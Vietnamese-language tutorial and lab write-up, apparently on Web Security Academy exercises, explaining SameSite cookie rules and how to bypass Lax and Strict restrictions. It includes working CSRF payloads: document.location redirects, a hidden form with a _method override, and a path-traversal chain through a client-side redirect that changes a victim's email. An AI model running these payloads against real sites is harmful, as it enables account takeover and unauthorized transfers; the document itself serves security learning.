Bypass SameSite cookie restrictions

SameSite là một cơ chế bảo mật của trình duyệt xác định thời điểm cookie của một trang web được đưa vào các request bắt nguồn từ các trang web khác. Các hạn chế cookie của SameSite cung cấp khả năng bảo vệ phần nào chống lại nhiều cuộc tấn công cross-ste, bao gồm CSRf, cross-site leak và một vài CORS exploits

Kể từ 2021, Chrome đã áp dụng các hạn chế SameSite Lax theo mặc định nếu trang web phát hành cookie không đặt rõ mức hạn chế của riêng mình

  • Site = Top-level domain (TLD), thường là .comhoặc .net, cộng với một cấp bổ sung của tên miền (TLD+1)

Note: Effective top-level domain (eTLD) là thuật ngữ để chỉ cho các hậu tố nhiều phần như .co.uk, cũng được xem như là TLD

  • Same-site: Cùng Scheme và TLD + 1 (Ví dụ: http://app.example.comhttps://app.example.com được xem là cross-site trong phần lớn các trình duyệt)

Site và Origin

Một site bao gồm nhiều domain name, trong khi một origin chỉ có một. 2 URL được xem là same origin nếu chúng chính xác cũng scheme, domain name và port(port thường được suy ra từ scheme)

Request from

Request to

Same-site?

Same-origin?

https://example.com

https://example.com

Yes

Yes

https://app.example.com

https://intranet.example.com

Yes

No: mismatched domain name

https://example.com

https://example.com:8080

Yes

No: mismatched port

https://example.com

https://example.co.uk

No: mismatched eTLD

No: mismatched domain name

https://example.com

http://example.com

No: mismatched scheme

No: mismatched scheme

=> cross-origin request thì vẫn có thể same-site, nhưng ngược lại thì không

Cách thức hoạt động của SameSite

Trước đây, trình duyệt thường gửi cookie trong mọi request đến miền đã phát hành chúng, ngay cả khi yêu cầu được kích hoạt bởi một trang web của bên thư ba không liên quan. SameSite hoạt động bằng cách cho phép trình duyệt và chủ sở hữu trang web giới hạn các request cross-site, nếu có nên bao gồm các cookie cụ thể. Điều này có thể giúp giảm khả năng người dùng tiếp xúc với các cuộc tấn công CSRF vì các request thường yêu cầu cookie liên kết với phiên đã xác thực của nạn nhân

Tất cả các trình duyệt chính hiện nay đều hỗ trợ các mức hạn chế SameSite sau:

  • Strict: Không gửi cookie trong bất kỳ cross-site request nào

  • Lax: Gửi cookie trong cross-site request khi request sử dụng phương thức GET và Request xuất phát từ top-level navigation của người dùng, chẳng hạn như click vào một liên kết (ngăn cookie được gửi từ các request khởi tạo bởi script, iframe hoặc tham chiếu đến ảnh hoặc tài nguyên khác)

  • None: Không hạn chế, phải bao gồm thuộc tính Secure nhằm chỉ cho phép gửi cookie trong thông điệp dược mã hóa qua HTTPS

Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

Cấu hình thủ công: Đưa thuộc tính SameSitetính vào tiêu đề phản hồiSet-Cookiecùng với giá trị mong muốn:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

Nếu trang web không thiết lập rõ thuộc tính SameSite, mặc định Chrome sẽ áp dụng Lax

Bypassing SameSite Lax restrictions using GET request

Miến là sử dụng GET request và liên quan đến top-level navigation, trình duyệt vẫn sẽ bao gốm session cookie

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

Một số framework cung cấp cách để ghi đè method được chỉ định trong request line. Ví dụ: Symfony hỗ trợ tham số _method trong forms

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Giải pháp:

Đăng nhập và dùng chức năng thay đổi email, quan sát trong Burp Proxy:

POST /my-account/change-email request không chứa token không thể đoán trước nào, do đó dễ bị CSRF nếu có thể bypass SameSite cookie restriction

Quan sát POST /login request khôn chỉ định rõ ràng cơ chế SameSite, theo mặc định Chrome sẽ sử dụng Lax

Bypass Lax:

  1. Tạo được GET request hợp lệ để thay đổi mail

Khi change request method

Thử override method với tham số _method=POST

Thành công.

  1. Exploit sử dụng top-level navigation: Có thể sử dụng document.location

<script>
    document.location = "https://0a2800e603c2b2c680ee58c100dd0078.web-security-academy.net/my-account/change-email?email=evil%40evillllll.com&_method=POST";
</script>

Bypass SameSite restrictions using on-site gadgets

Có thể bypass Strict (Không gửi cookie trong bất kỳ cross-ste request) nếu có thể tìm thấy một tiện tích dẫn đến secondary request trong cùng trang đó.

Một tiện ích khả thi (possible gadget) là một client-site redirect có thể được xây dựng từ input mà kẻ tấn công có thể kiểm soát như tham số URL. Tham khảo DOM-base open redirection

Đối với trình duyệt, các client-side redirect này thực chất không phải là chuyển hướng, chúng chỉ được xem là các request độc lập, thông thường và quan trong nhất, đây là same_site request, nên sẽ bao gồm tất cả cookie liên quan đến site, bất kể hạn chế nào được áp dụng

Giải pháp:

Khi post comment, người dùng được chuyển đến trang xác nhận /post/comment/confirmation?postId=xnhưng sau vài giây, sẽ được đưa trở lại blog trước đó blog.

Ứng dụng thực thi một tệp JavaScript tạo client-side redirect: /resources/js/commentConfirmationRedirect.js

Tham số postId được lấy từ URL. Khi thử thay đổi tham số này trong trình duyệt với /post/comment/confirmation?postId= 1/../../my-account, trình duyệt chuẩn hóa URl và duyệt đến trang my-account. Đây là cơ sở để bypass Strict SameSite

Change request method của POST /my-account/change-email để lấy URL sau:

GET /my-account/change-email?email=test%40test.com%26submit=1

Hoàn thành exploit

<script>
    document.location = "https://0a6d008604bdefb4817c524300af0073.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=evil%40evil.net%26submit=1";
</script>

Last updated